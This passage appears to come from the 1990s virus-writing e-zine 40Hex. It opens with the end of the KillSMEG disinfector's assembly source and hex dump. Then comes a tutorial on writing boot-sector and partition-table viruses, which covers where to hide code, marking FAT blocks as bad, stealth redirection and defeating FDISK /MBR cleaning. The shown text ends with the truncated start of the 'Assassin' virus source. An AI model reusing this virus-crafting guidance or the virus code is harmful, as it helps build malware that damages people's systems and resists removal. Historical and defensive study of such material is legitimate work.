mov cx,ds:[98]
cmp ch,0c8
jb AfterTimeCheck
call PathTime
AfterTimeCheck:
mov ax,3d00
mov dx,9e
int 21
jnc ATCGood
jmp ErrorOpen
ATCGood:
xchg bx,ax
mov dx,offset EXECCheck
mov cx,4
mov ah,3f
int 21
mov ah,3e
int 21 ;Close File
mov ax,word ptr ds:[ExecCheck]
xor ah,al
cmp ah,('M' xor 'Z') ;Check if it's a com or exec
je ISEXE
push cs
pop es
mov di,offset JmpByte
mov si,offset ExecCheck ;Save Jump
movsb
movsw
mov byte ptr ds:[COMEXE],0
jmp short OtherChecks
ISEXE:
mov byte ptr ds:[COMEXE],1
OtherChecks:
mov Infected,0 ;Initialize to not infected
mov TraceDone,0
call LoadAndCheckFile ;Trace file
cmp Infected,1
jne FindAnotherFile
call PrintFilename
cmp Knownvir,1
je DisinfectProg
mov ah,09
mov dx,offset NewVar
int 21
jmp FindAnotherFile
DisinfectProg:
mov ah,09
mov dx,offset InfectedMSG
int 21
xor ax,ax
int 16
push ax
mov dx,offset DoneChecking
mov ah,09
int 21
pop ax
or al,20
cmp al,'y'
jne FindAnotherFile
Disinfect:
cmp comexe,1
je DisEXE
call DisinfCom
jmp short FindAnotherFile
DisEXE:
call DisinfExe
FindAnotherFile:
mov ah,4f
jmp FindFirstNext
ErrorOpen:
call PRintFilename
mov ah,09
mov dx,offset OpenError
int 21
jmp FindAnotherFile
NoMoreCOMS:
mov ax,4c00
int 21
SuspiciousTime:
call PrintFilename
mov ah,09
mov dx,offset TIMEMSG
int 21
ret
PathTime:
call printfilename
mov ah,09
mov dx,offset pathtimemsg
int 21
ret
NotifyCheck:
mov dx,offset Checking
mov ah,09
int 21
call PrintFileName
mov dx,offset DoneChecking
mov ah,09
int 21
ret
PrintFilename:
mov si,9e
PrintFN:
lodsb
or al,al
jz doneprintfn
mov ah,02
mov dl,al
int 21
jmp Printfn
DonePrintFN:
ret
LoadAndCheckFile:
push cs
pop ds
mov ax,ds:[2c]
mov EnvSeg,ax
mov ax,ds
mov word ptr [CommandTail+2],ax
mov word ptr [FCB1+2],ax
mov word ptr [FCB2+2],ax
mov ax,offset ParmData
mov word ptr [CommandTail],ax
mov word ptr [FCB1],ax
mov word ptr [FCB2],ax
mov ax,3501
int 21
mov IP01,bx
mov CS01,es ;Get int 1 vector
mov ax,2501
mov dx,offset Int01 ;And set it
int 21
mov ax,ss
mov Oldss,ax
mov oldsp,sp
push cs
pop es
LoadFile:
mov ax,4b01
mov bx,offset ParmBlock
mov dx,9e
int 21
jc ErrorExecute
SetupExec:
push cs
pop ds
mov ax,2522
mov dx,offset ExecuteTerminated
int 21 ;Set Termination address
mov ah,62
int 21
push bx bx
pop es ds
mov word ptr cs:[StartDS],bx
mov ax,cs
mov word ptr ds:[0a],offset ExecuteTerminated
mov word ptr ds:[0c],ax ;Set Termination Address
cli
mov ax,word ptr cs:[NewStack+2]
mov ss,ax
mov sp,word ptr cs:[NewStack]
sti
pushf
pop ax
or ax,0100
xor bx,bx
xor cx,cx
xor dx,dx
mov si,100
xor di,di
xor bp,bp
push word ptr cs:[NewCS]
push word ptr cs:[NewIP]
push ax
popf
retf
ExecuteTerminated:
cld
pushf
pop ax
and ax,not 100 ;ditch trapflag
push ax
popf
cli
mov ax,cs:[OldSS]
mov ss,ax
mov sp,cs:[OldSP]
sti
lds dx,dword ptr cs:[IP01]
mov ax,2501
int 21
push cs cs
pop es ds
mov ah,1a
mov dx,80 ;Reset DTA
int 21
ErrorExecute:
ret
OldSS dw 0
OldSP dw 0
Int01:
cld
push bp
mov bp,sp
add bp,2
push ax bx cx dx es ds si di
cmp cs:TraceDone,1
je DOneInt01
call CheckESDS
call CheckOPCode
jne DoneInt01
call InitScanString
call ScanMemory
call InitScanString
DoneInt01:
pop di si ds es dx cx bx ax
pop bp
iret
InitScanString:
push ds si cx
push cs
pop ds
mov si,offset QueegScan1
mov cx,EndScan1-QueegScan1
DecryptString:
xor byte ptr [si],42
inc si
loop DecryptString
pop cx si ds
ret
TerminateProgram:
mov byte ptr cs:[TraceDone],1
mov ax,4c00
int 21
CheckOpCode:
mov si,[bp+2]
mov ds,si
mov si,[bp]
cmp byte ptr dS:[si],0cdh
je NonvalidOp
cmp byte ptr ds:[si],0eah
je NonvalidOp
cmp byte ptr ds:[si],09ah
je NonvalidOp
cmp byte ptr ds:[si],0abh
je NonvalidOp
cmp byte ptr ds:[si],0adh
je NonvalidOp
mov al,byte ptr ds:[si]
and al,0f0
cmp al,60
je NonvalidOp
cmp al,90
je NonvalidOp
cmp al,0a0
je NonvalidOp
cmp word ptr ds:[si],00e8
jne ExitOpTest
cmp word ptr ds:[si+2],5800
ExitOpTest:
ret
NonValidOp:
jmp TerminatePRogram
CheckESDS:
mov ax,[bp+2]
cmp ax,word ptr cs:[NewCS]
je CSOkay
jmp TerminateProgram
CSOkay:
mov ax,[bp+2]
mov bx,ds
cmp bx,ax
jne DSNotEqualCS
CheckES:
mov bx,es
cmp bx,ax
jne ESNotEqualCS
ExitSEGCheck:
ret
DSNotEqualCS:
cmp bx,word ptr cs:[StartDS]
je CheckES
mov byte ptr cs:[TraceDone],1
jmp TerminateProgram
ESNotEqualCS:
cmp bx,word ptr cs:[StartDS]
je ExitSEGCheck
mov byte ptr cs:[TraceDone],1
jmp TerminateProgram
ScanMemory:
push cs
pop ds
mov si,offset QueegScan1
mov di,[bp+2]
mov es,di
mov di,[bp]
mov cx,800
lodsb
SearchForString:
repnz scasb
jcxz StringNotFound
push ax cx si di
mov cx,0bh
repz cmpsb
jcxz StringFound
pop di si cx ax
jmp SearchForString
StringFound:
pop di si cx ax
SaveInfo:
dec di ;ES:DI = beginning of virus
push es di
pop si ds
;ds:si+133 22 c0 75 19 bb 00 01 2e a1
MakeSureKnowVir:
cmp word ptr ds:[si+33],0c022
jne NotKnown
cmp word ptr ds:[si+39],2e01
jne NotKnown
mov byte ptr cs:[knownvir],1
jmp DoneVarCheck
NotKnown:
mov byte ptr cs:[knownvir],0
DoneVarCheck:
mov bx,si
sub bx,100
mov si,word ptr ds:[bx+13c]
add si,bx
push cs
pop es
mov di,offset COMStorage
movsw
movsb
mov si,word ptr ds:[bx+164]
add si,bx
mov di,offset EXEStack
movsw
movsw
mov si,word ptr ds:[bx+171]
add si,bx
mov di,offset EXEInstruct
movsw
movsw
MarkInfected:
mov byte ptr cs:[Infected],1
call InitScanString
jmp TerminateProgram
StringNotFound:
ret
OutOfMemory:
mov dx,offset OOM
ErrExit:
push cs
pop ds
mov ah,9
int 21
mov ax,4c02
int 21
ErrorClean:
mov dx,offset FileError
mov ah,09
push cs
pop ds
int 21
jmp Dealloc
DisinfCom:
mov ah,48
mov bx,1000
int 21
jc OutOfMemory
mov es,ax
mov dx,9e
mov ax,3d00
int 21
jc ErrorClean
xchg bx,ax
push es
pop ds
xor dx,dx
mov cx,word ptr cs:[ComJump]
add cx,3
mov ah,3f
int 21
push ax
mov ah,3e
int 21
mov ax,word ptr cs:[COMStorage]
mov word ptr ds:[0],ax
mov al,byte ptr cs:[ComStorage+2]
mov byte ptr ds:[2],al
push cs
pop ds
mov ah,3c
xor cx,cx
mov dx,9e
int 21
pop cx
jc ErrorClean
xchg bx,ax
push es
pop ds
mov ah,40
xor dx,dx
int 21
mov ah,3e
int 21
DeAlloc:
mov ah,49
int 21
push cs cs
pop es ds
ret
EXEErrorClean:
mov dx,offset FileError
mov ah,09
push cs
pop ds
int 21
ret
DisinfEXE:
int 3
mov ah,41
mov dx,offset TMPFile
int 21
push cs cs
pop es ds
mov dx,9e
mov ax,3d02 ;open file
int 21
jnc EXECOpenGood
jmp EXEErrorClean
ExecOpenGood:
xchg bx,ax
mov cx,20
mov ah,3f
mov dx,offset ExecHeader
int 21
mov di,offset Execheader+0e
mov si,offset ExeStack
movsw
movsw
xor bp,bp
mov di,offset execheader+14
mov dx,[di+2] ;DX:AX = new filesize kinda
mov ax,[di]
mov cl,4
shl dx,cl
adc bp,0
add ax,dx
adc bp,0
mov dx,bp ;DX:AX = filesize w/o header
mov cx,word ptr [execheader+08]
shl cx,1
shl cx,1
shl cx,1
shl cx,1
add ax,cx
adc dx,0 ;Header now calculated in
mov ExeSizeHigh,dx
mov ExeSizeLow,ax
and ax,1ff ;modulo 512
mov word ptr [execheader+2],ax
mov ax,EXESizeLow
mov cx,7
shl dx,cl
mov word ptr [execheader+4],dx
mov cx,9
add ax,1ff
shr ax,cl
add word ptr [execheader+4],ax
mov si,offset ExeInstruct
movsw
movsw
mov ax,4200
xor cx,cx
xor dx,dx
int 21
mov ah,40
mov dx,offset execheader
mov cx,20
int 21
mov ah,3e
int 21
mov ah,56
mov dx,9e
mov di,offset TmpFile ;Rename file
int 21
mov ah,3c
mov dx,9e
xor cx,cx
int 21
mov Dest,ax
mov ax,3d00
mov dx,offset TmpFile
int 21
mov Source,ax
CopyLoop:
mov cx,400
cmp word ptr [EXESizeHIgh],0
jne FullSize
cmp word ptr [ExeSizeLow],400
ja FullSize
mov cx,word ptr [ExeSizeLow]
FullSize:
sub word ptr [ExeSizeLow],400
sbb word ptr [ExeSizeHigh],0
mov ah,3f
mov bx,Source
mov dx,offset CopyBuffer
int 21
mov cx,ax
mov ah,40
mov bx,Dest
mov dx,offset CopyBuffer
int 21
cmp ax,400
je CopyLoop
CloseUP:
mov ah,3e
mov bx,Dest
int 21
mov ah,3e
mov bx,Source
int 21
DoneDis:
mov ah,41
mov dx,offset TMPFile
int 21
ret
Source dw 0
Dest dw 0
OldInt01:
IP01 dw 0
CS01 dw 0
TraceDone db 0
StartDS dw 0
ParmBlock:
EnvSeg dw 0
CommandTail dd 0
FCB1 dd 0
FCB2 dd 0
NewStack dd 0
NewIP dw 0
NEWCS dw 0
Tmpfile db 'KQTMP',0
NewVar db ' - New Variant of SMEG!',0a,0dh,24
FileError db 'Sorry, File Error.',07,0a,0dh,24
OOM db 'Sorry, Out Of Memory',07,0a,0dh,24
Checking db 'Checking $'
OpenError db ' - Error Opening.'
DoneChecking db 0a,0dh,24
TimeMSG db ' - Time stamp is suspicious of SMEG.Queeg signature.',0a,0dh,24
pathtimemsg db ' - Time stamp is suspicious of SMEG.Pathogen signature.',0a,0dh,24
InfectedMSG db ' - INFECTED WITH SMEG!',0a,0dh
db 'Disinfect (y/N)?',7,24
IntroMSG db 0a,0dh,'KillSMEG (c) 1994 Stormbringer, Phalcon/Skism.',0a,0dh
db 'Finds and disinfects the 2 known SMEG viruses in the current directory.',0a,0dh,24
Instructions:
db 'Usage : KILLSMEG Filemask (COM once, then EXE once is recommended)',0a,0dh
db 'Example: KILLSMEG *.COM',0a,0dh,24
QueegScan1:
db 0E8 xor 42, 00 xor 42, 00 xor 42, 58 xor 42, 0FE xor 42, 0CC xor 42
db 0B1 xor 42, 04 xor 42, 0D3 xor 42, 0E8 xor 42, 08C xor 42, 0CBh xor 42 ;Initializing Code
EndScan1:
;QueegScan2:
;db 0B8, 0EF, 18, 0CDh, 21, 3Dh, 10, 0E7, 75, 01, 0C3, 0E8 ;Installation Check
ParmData db 40 dup(0)
knownvir db 0
Jmpbyte db 0
COMJump db 0,0
Infected db 0
COMEXE db 0 ;0 for COM, 1 for EXE
EXECCheck dw 0,0
COMStorage db 0,0,0
EXEStack dd 0
EXEInstruct dd 0
;0f9d-SP 0f9b-SS 0fa0-IP:CS
ExeSizeLow dw 0
EXESizeHigh dw 0
Filenamebuf db 80d dup (?)
ExecHeader db 20 dup(?)
CopyBuffer db 400 dup(?)
StackBuffer db 1000 dup(?)
TopStack:
endfinder:
end start
---------------------------
N KILLSMEG.COM
E 0100 B4 4A BB CC 01 CD 21 BC C0 1C B4 09 BA 0C 07 CD
E 0110 21 80 3E 80 00 01 77 0C B4 09 BA 88 07 CD 21 B8
E 0120 00 4C CD 21 BE 82 00 BF 50 08 AC 3C 0D 74 03 AA
E 0130 EB F8 32 C0 AA B4 4E BA 50 08 B9 07 00 CD 21 73
E 0140 03 E9 BE 00 E8 D6 00 8B 0E 96 00 80 E1 1F 80 F9
E 0150 1C 75 03 E8 B1 00 8B 0E 98 00 80 FD C8 72 03 E8
E 0160 B0 00 B8 00 3D BA 9E 00 CD 21 73 03 E9 87 00 93
E 0170 BA 3D 08 B9 04 00 B4 3F CD 21 B4 3E CD 21 A1 3D
E 0180 08 32 E0 80 FC 17 74 11 0E 07 BF 38 08 BE 3D 08
E 0190 A4 A5 C6 06 3C 08 00 EB 05 C6 06 3C 08 01 C6 06
E 01A0 3B 08 00 90 C6 06 EC 05 00 90 E8 93 00 80 3E 3B
E 01B0 08 01 75 3D E8 78 00 80 3E 37 08 01 74 0A B4 09
E 01C0 BA 0B 06 CD 21 EB 2A 90 B4 09 BA E2 06 CD 21 33
E 01D0 C0 CD 16 50 BA 6E 06 B4 09 CD 21 58 0C 20 3C 79
E 01E0 75 0F 80 3E 3C 08 01 74 05 E8 85 02 EB 03 E8 E7
E 01F0 02 B4 4F E9 47 FF E8 36 00 B4 09 BA 5D 06 CD 21
E 0200 EB EF B8 00 4C CD 21 E8 25 00 B4 09 BA 71 06 CD
E 0210 21 C3 E8 1A 00 B4 09 BA A8 06 CD 21 C3 BA 53 06
E 0220 B4 09 CD 21 E8 08 00 BA 6E 06 B4 09 CD 21 C3 BE
E 0230 9E 00 AC 0A C0 74 08 B4 02 8A D0 CD 21 EB F3 C3
E 0240 0E 1F A1 2C 00 A3 EF 05 8C D8 A3 F3 05 A3 F7 05
E 0250 A3 FB 05 B8 F7 07 A3 F1 05 A3 F5 05 A3 F9 05 B8
E 0260 01 35 CD 21 89 1E E8 05 8C 06 EA 05 B8 01 25 BA
E 0270 09 03 CD 21 8C D0 A3 05 03 89 26 07 03 0E 07 B8
E 0280 01 4B BB EF 05 BA 9E 00 CD 21 72 78 0E 1F B8 22
E 0290 25 BA DA 02 CD 21 B4 62 CD 21 53 53 07 1F 2E 89
E 02A0 1E ED 05 8C C8 C7 06 0A 00 DA 02 A3 0C 00 FA 2E
E 02B0 A1 FF 05 8E D0 2E 8B 26 FD 05 FB 9C 58 0D 00 01
E 02C0 33 DB 33 C9 33 D2 BE 00 01 33 FF 33 ED 2E FF 36
E 02D0 03 06 2E FF 36 01 06 50 9D CB FC 9C 58 25 FF FE
E 02E0 50 9D FA 2E A1 05 03 8E D0 2E 8B 26 07 03 FB 2E
E 02F0 C5 16 E8 05 B8 01 25 CD 21 0E 0E 07 1F B4 1A BA
E 0300 80 00 CD 21 C3 00 00 00 00 FC 55 8B EC 83 C5 02
E 0310 50 53 51 52 06 1E 56 57 2E 80 3E EC 05 01 74 11
E 0320 E8 77 00 E8 35 00 75 09 E8 10 00 E8 A7 00 E8 0A
E 0330 00 5F 5E 1F 07 5A 59 5B 58 5D CF 1E 56 51 0E 1F
E 0340 BE EB 07 B9 0C 00 80 34 42 46 E2 FA 59 5E 1F C3
E 0350 2E C6 06 EC 05 01 B8 00 4C CD 21 8B 76 02 8E DE
E 0360 8B 76 00 80 3C CD 74 30 80 3C EA 74 2B 80 3C 9A
E 0370 74 26 80 3C AB 74 21 80 3C AD 74 1C 8A 04 24 F0
E 0380 3C 60 74 14 3C 90 74 10 3C A0 74 0C 81 3C E8 00
E 0390 75 05 81 7C 02 00 58 C3 EB B6 8B 46 02 2E 3B 06
E 03A0 03 06 74 02 EB AA 8B 46 02 8C DB 3B D8 75 07 8C
E 03B0 C3 3B D8 75 10 C3 2E 3B 1E ED 05 74 F2 2E C6 06
E 03C0 EC 05 01 EB 8B 2E 3B 1E ED 05 74 E9 2E C6 06 EC
E 03D0 05 01 E9 7B FF 0E 1F BE EB 07 8B 7E 02 8E C7 8B
E 03E0 7E 00 B9 00 08 AC F2 AE E3 6C 50 51 56 57 B9 0B
E 03F0 00 F3 A6 E3 06 5F 5E 59 58 EB EB 5F 5E 59 58 4F
E 0400 06 57 5E 1F 81 7C 33 22 C0 75 10 81 7C 39 01 2E
E 0410 75 09 2E C6 06 37 08 01 EB 07 90 2E C6 06 37 08
E 0420 00 8B DE 81 EB 00 01 8B B7 3C 01 03 F3 0E 07 BF
E 0430 41 08 A5 A4 8B B7 64 01 03 F3 BF 44 08 A5 A5 8B
E 0440 B7 71 01 03 F3 BF 48 08 A5 A5 2E C6 06 3B 08 01
E 0450 E8 E8 FE E9 FA FE C3 BA 3B 06 0E 1F B4 09 CD 21
E 0460 B8 02 4C CD 21 BA 25 06 B4 09 0E 1F CD 21 EB 55
E 0470 90 B4 48 BB 00 10 CD 21 72 DD 8E C0 BA 9E 00 B8
E 0480 00 3D CD 21 72 DF 93 06 1F 33 D2 2E 8B 0E 39 08
E 0490 83 C1 03 B4 3F CD 21 50 B4 3E CD 21 2E A1 41 08
E 04A0 A3 00 00 2E A0 43 08 A2 02 00 0E 1F B4 3C 33 C9
E 04B0 BA 9E 00 CD 21 59 72 AD 93 06 1F B4 40 33 D2 CD
E 04C0 21 B4 3E CD 21 B4 49 CD 21 0E 0E 07 1F C3 BA 25
E 04D0 06 B4 09 0E 1F CD 21 C3 CC B4 41 BA 05 06 CD 21
E 04E0 0E 0E 07 1F BA 9E 00 B8 02 3D CD 21 73 02 EB DE
E 04F0 93 B9 20 00 B4 3F BA A0 08 CD 21 BF AE 08 BE 44
E 0500 08 A5 A5 33 ED BF B4 08 8B 55 02 8B 05 B1 04 D3
E 0510 E2 83 D5 00 03 C2 83 D5 00 8B D5 8B 0E A8 08 D1
E 0520 E1 D1 E1 D1 E1 D1 E1 03 C1 83 D2 00 89 16 4E 08
E 0530 A3 4C 08 25 FF 01 A3 A2 08 A1 4C 08 B9 07 00 D3
E 0540 E2 89 16 A4 08 B9 09 00 05 FF 01 D3 E8 01 06 A4
E 0550 08 BE 48 08 A5 A5 B8 00 42 33 C9 33 D2 CD 21 B4
E 0560 40 BA A0 08 B9 20 00 CD 21 B4 3E CD 21 B4 56 BA
E 0570 9E 00 BF 05 06 CD 21 B4 3C BA 9E 00 33 C9 CD 21
E 0580 A3 E6 05 B8 00 3D BA 05 06 CD 21 A3 E4 05 B9 00
E 0590 04 83 3E 4E 08 00 75 0C 81 3E 4C 08 00 04 77 04
E 05A0 8B 0E 4C 08 81 2E 4C 08 00 04 83 1E 4E 08 00 B4
E 05B0 3F 8B 1E E4 05 BA C0 08 CD 21 8B C8 B4 40 8B 1E
E 05C0 E6 05 BA C0 08 CD 21 3D 00 04 74 C2 B4 3E 8B 1E
E 05D0 E6 05 CD 21 B4 3E 8B 1E E4 05 CD 21 B4 41 BA 05
E 05E0 06 CD 21 C3 00 00 00 00 00 00 00 00 00 00 00 00
E 05F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0600 00 00 00 00 00 4B 51 54 4D 50 00 20 2D 20 4E 65
E 0610 77 20 56 61 72 69 61 6E 74 20 6F 66 20 53 4D 45
E 0620 47 21 0A 0D 24 53 6F 72 72 79 2C 20 46 69 6C 65
E 0630 20 45 72 72 6F 72 2E 07 0A 0D 24 53 6F 72 72 79
E 0640 2C 20 4F 75 74 20 4F 66 20 4D 65 6D 6F 72 79 07
E 0650 0A 0D 24 43 68 65 63 6B 69 6E 67 20 24 20 2D 20
E 0660 45 72 72 6F 72 20 4F 70 65 6E 69 6E 67 2E 0A 0D
E 0670 24 20 2D 20 54 69 6D 65 20 73 74 61 6D 70 20 69
E 0680 73 20 73 75 73 70 69 63 69 6F 75 73 20 6F 66 20
E 0690 53 4D 45 47 2E 51 75 65 65 67 20 73 69 67 6E 61
E 06A0 74 75 72 65 2E 0A 0D 24 20 2D 20 54 69 6D 65 20
E 06B0 73 74 61 6D 70 20 69 73 20 73 75 73 70 69 63 69
E 06C0 6F 75 73 20 6F 66 20 53 4D 45 47 2E 50 61 74 68
E 06D0 6F 67 65 6E 20 73 69 67 6E 61 74 75 72 65 2E 0A
E 06E0 0D 24 20 2D 20 49 4E 46 45 43 54 45 44 20 57 49
E 06F0 54 48 20 53 4D 45 47 21 0A 0D 44 69 73 69 6E 66
E 0700 65 63 74 20 28 79 2F 4E 29 3F 07 24 0A 0D 4B 69
E 0710 6C 6C 53 4D 45 47 20 28 63 29 20 31 39 39 34 20
E 0720 53 74 6F 72 6D 62 72 69 6E 67 65 72 2C 20 50 68
E 0730 61 6C 63 6F 6E 2F 53 6B 69 73 6D 2E 0A 0D 46 69
E 0740 6E 64 73 20 61 6E 64 20 64 69 73 69 6E 66 65 63
E 0750 74 73 20 74 68 65 20 32 20 6B 6E 6F 77 6E 20 53
E 0760 4D 45 47 20 76 69 72 75 73 65 73 20 69 6E 20 74
E 0770 68 65 20 63 75 72 72 65 6E 74 20 64 69 72 65 63
E 0780 74 6F 72 79 2E 0A 0D 24 55 73 61 67 65 20 3A 20
E 0790 20 20 20 4B 49 4C 4C 53 4D 45 47 20 46 69 6C 65
E 07A0 6D 61 73 6B 20 28 43 4F 4D 20 6F 6E 63 65 2C 20
E 07B0 74 68 65 6E 20 45 58 45 20 6F 6E 63 65 20 69 73
E 07C0 20 72 65 63 6F 6D 6D 65 6E 64 65 64 29 0A 0D 45
E 07D0 78 61 6D 70 6C 65 3A 20 20 20 4B 49 4C 4C 53 4D
E 07E0 45 47 20 2A 2E 43 4F 4D 0A 0D 24 AA 42 42 1A BC
E 07F0 8E F3 46 91 AA CE 89 00 00 00 00 00 00 00 00 00
E 0800 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0810 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0820 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0830 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0840 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
RCX
0750
W
Q
---------------------------
40Hex Number 14 Volume 5 Issue 1 File 003
Boot Infectors
By Dark Angel of Phalcon/Skism
As most of our readers have no doubt noticed, 40Hex articles have
traditionally covered file based viruses. It is time to fill in the hole and
cover the other large class of viruses, the partition table and boot sector
viruses, herein termed "boot infectors" for brevity.
File based viruses are executed after the operating system loads. Boot
infectors, however, latch onto the parts of the drive that are accessed by the
BIOS when it attempts to load the operating system itself. Therefore, there is
little that can be done to intercept the boot infector once it has
successfully installed itself onto a disk.
A brief explanation of the basics of disk terminology is in order. Each
disk is divided into 512 byte chunks called sectors. Due to an unfortunate
choice in terminology, however, the system BIOS uses the term "sectors"
differently. For our purposes, we will divide the disk into 512 byte blocks,
with block 0 residing on the beginning of the disk.
The system BIOS assigns three values to each block on the disk. The
values are known as sectors, cylinders (sometimes known as tracks), and heads
(sometimes called sides) and can be represented as a triple
(sector,cylinder,head). Each disk has a certain number of sectors (SEC),
cylinders (CYL), and heads (HDS). Cylinders are numbered from 0 to CYL - 1.
Heads are numbered from 0 to HDS - 1. Sectors, for some unfathomable reason,
are numbered from 1 to SEC. Block 0 corresponds to the triple (1,0,0) (sector
1, cylinder 0, head 0). Block 1 corresponds to (2,0,0), Block 2 with (3,0,0),
and so on, until Block SPH. Block SPH corresponds to (1,1,0), Block SPH+1 with
(2,1,0), and so on. Block 2*SPH is (1,2,0), Block 2*SPH+1 is (2,2,0), etc.
This continues until Block HPC*SPH, which is (0,0,1).
An introduction to the boot process is vital to understanding boot
infectors. When the system is reset, the BIOS checks the first block, triple
(1,0,0), of the first hard drive of the system (if any are installed, of
course) to absolute memory address 7C000. If the hard drive exists, the block
that was read in is checked for the signature 0AA55 (in reverse word format)
occuring at offset 1FE. This is the marker for a valid partition table. If a
partition table is found, the code residing in this block is executed at
0:7C00. If a valid partition table is not found (or the hard drive doesn't
exist), then the BIOS tries booting from the floppy drive. It again reads the
first block from the first floppy drive to absolute memory address 7C000. If
there is a readable disk in the drive, it will be loaded in and executed. No
check is made for the 0AA55 signature, although many boot sectors have it
there anyway just for consistency.
Technically, the first block of the hard disk is a boot sector just as it
is on floppies. However, it is sometimes given a different name because of the
partition table convention that allows multiple operating systems to reside on
a single drive. We will call it by the somewhat misleading name of partition
table. Another common name is the master boot record, for reasons that will
become clear momentarily. The partition table convention is basically a simple
structure at the end of the first block of the hard drive that defines where
each operating system exists on a given hard drive. The partition table
structure begins at offset 1BE in the block and consists of an array with four
entries. The format of each entry is:
Ofs Size Description
0 BYTE boot indicator, 0 = non-bootable, 80h = bootable
1 BYTE head the partition begins on
2 BYTE sector the partition begins on
3 BYTE cylinder the partition begins on
4 BYTE system indicator, indicates what OS resides in the partition
01 indicates DOS 12-bit FAT
04 indicates DOS 16-bit FAT
5 BYTE head the partition ends on
6 BYTE sector the partition ends on
7 BYTE cylinder the partition ends on
8 DWORD total number of blocks preceding the partition
0C DWORD total number of blocks in the partition
The code in the partition table loads the boot record of the active
partition (as indicated in the first bit of the partition table structure).
The boot record then loads the operating system that resides in its respective
partition.
When BIOS decides to boot from a floppy, it reads in the first block off
the floppy to 7C000. Floppies don't have partition tables, so this block is
the equivalent of the boot record of a partition on a hard disk.
In DOS, the boot record consists of three bytes for a JMP followed by the
following structure, sometimes known as the BIOS parameter block (BPB):
Offset Size Description
3 8 bytes OEM name and version (ASCII)
0B Word bytes per sector
0D Byte sectors per cluster
0E Word reserved sectors (starting at logical sector 0)
10 Byte number of FATs
11 Word number of root directory entries (32 bytes each)
13 Word total sectors in partition
15 Byte media descriptor
17 Word sectors per FAT
19 Word sectors per track
1B Word number of heads
1D Word number of hidden sectors
The rest of the boot record consists of code that loads and executes the
DOS system files, which then take over. There are a number of terms in the
above structure which may be unfamiliar, but don't fret; they will be
explained in due course.
First, however, it is important to note that nothing requires these
structures to exist! The partition table, for example, is merely a de facto
convention which was set up to allow operating systems to co-exist on a single
hard drive. The boot record structure defined above is used by DOS for DOS
programs. Of course, another operating system could interpret the structure,
but there is no requirement for a given operating system to use that format.
When infecting disks, however, keep in mind that certain programs require the
structures to be in place. DOS, for example, won't recognise partitions
properly without the partition table being at its usual location. Floppies
also won't work properly if the boot record is not loaded when DOS requests a
read to the first block. In other words, make sure that all requests to the
partition table or boot record return the partition table and boot record in
the appropriate locations. The other code may be changed with the only
drawback in such a scheme being easy detection of the code modifications. A
better approach is to redirect requests to the modified blocks to a stored
copy of the original. In other words, stealth.
Seeing these structures, the method of infection, conceptually, at the
very least, should be apparent. It's a simple matter to replace the code of
the partition table or boot record with your own. All your code has to do is
store the block somewhere else on the disk and replace the block with itself.
When the virus gains control, it needs to put itself in memory and then load
the original block into memory at 7C000 and then transfer control to this
code. Once it is in memory, it is free to infect any disks which come into
contact with the computer.
This is all nice and easy to say, but there are a few details which would
be helpful to know before plunging into writing a boot infector. When control
is transferred to either the partition table or boot record, CS:IP is set to
0:7C00. SS:SP is undefined, so most boot infectors set it to 0:7C00, which
causes the stack to be placed just below the loading area. This is sufficient
for the needs of most viruses.
Additionally, it would be nice to be able to locate empty space to store
the original boot sector or partition table. Here, the virus has a number of
choices. In hard disks, many viruses store the original partition table in the
unused space between the partition table and the first partition. The first
partition generally starts at triple (2,1,0) or later (some start as late as
(2,0,1), so there is a wealth of space in which to store the virus in that
area. A simple calculation reveals that there are (number of cylinders - 2)
sectors between (1,0,0) where the partition table is and (2,1,0) where the
first partition starts). Multiply that value by 512 and you have the number of
bytes you can store there. That's a large chunk of space you have at your
disposal. A virus may also store itself at the end of the root directory,
although it risks overwriting valid directory entries. The BPB contains
everything necessary to calculate the location and length of the root
directory.
An alternate approach, which is used by several viruses, is to alter the
file allocation table, or FAT. The FAT is an array of entries which describe
how the blocks on the disk are related. FAT entries are either 12 or 16 bits
long, depending on the disk. 12 bit FAT's are generally used in disks and
partitions with less than 20740 sectors and 16 bit FAT's are used in larger
disks and partitions. The location and size of the FAT can be found in the
BPB. Each entry in the FAT corresponds to a block on the disk. The FAT
describes a file's placement on the disk. By following the chain, you can find
the location of the blocks of the file, since they need not be contiguous. The
value of the FAT entry is the number of the next block in the chain, i.e. an
index to the FAT entry corresponding to the next block of the file, unless it
is one of the special values. If the value of the FAT entry is 0, then the
block is unused. If the value is -1 to -8 (FFF8-FFFF) then the block is the
last block in a file. If the value is -9 to -10h (FFF0-FFF7) then the block is
reserved (usually a bad block). The first and second entries in the FAT are
always -1. The third entry governs the first data area. The idea is for the
virus to find empty blocks, mark them as bad in the FAT, and store the code
there. This way, DOS thinks the blocks are bad and does not overwrite the
virus.
One important issue with partition table infectors is whether they should
preserve the partition table itself, i.e. leave the partition table structure
at offset 1BE in the first block of the disk. Similarly, should boot sector
infectors retain the BPB? This is a particularly interesting issue with
stealth viruses, viruses which redirect attempts at accessing the partition
table or boot sector. The advantage of retaining the structures is that DOS
will recognize the disks even when the virus is not loaded in memory.
Therefore, the virus is somewhat less vulnerable to detection. However, if the
virus does not keep the structure, then it will be more difficult for the user
to boot the computer without loading the virus in memory, since DOS will not
recognise the drive. This is an especially nifty feature, since primitive
cleaning attempts such as FDISK /MBR will fail against such a virus.
Within this motley assortment of information, you will find enough to aid
you in crafting an original boot infector. There is intentionally no code in
this tutorial, mainly because there is little virus-specific information
contained within. Many of the routines used in a boot infector are important
when writing any boot sector, so there is little importance in repeating the
code here.
40Hex Number 14 Volume 5 Issue 1 File 004
; Assassin (Bug Fix version)
; by Dark Slayer
mem_size equ offset memory_end-offset start
mem_para equ (mem_size+0fh)/10h
low_mem_size equ mem_size+100h
low_mem_para equ (low_mem_size+0fh)/10h
vir_size equ offset vir_end-offset start
vir_sector equ (vir_size+1ffh+2)/200h
constant_size equ offset constant-offset start
.model tiny
.code
org 0
start:
xor di,di
mov dx,ds:[di+2]
sub dh,5
mov ah,26h
int 21h
mov bp,ds:[di+2ch]
mov ah,4ah
mov bx,low_mem_para
int 21h
mov ah,52h
int 21h
mov bx,es:[bx-2]
mov ax,cs
dec ax
mcb:
mov cx,ds
mov ds,bx
inc bx
mov dx,bx
add bx,ds:[di+3]
or bp,bp
jnz not_boot
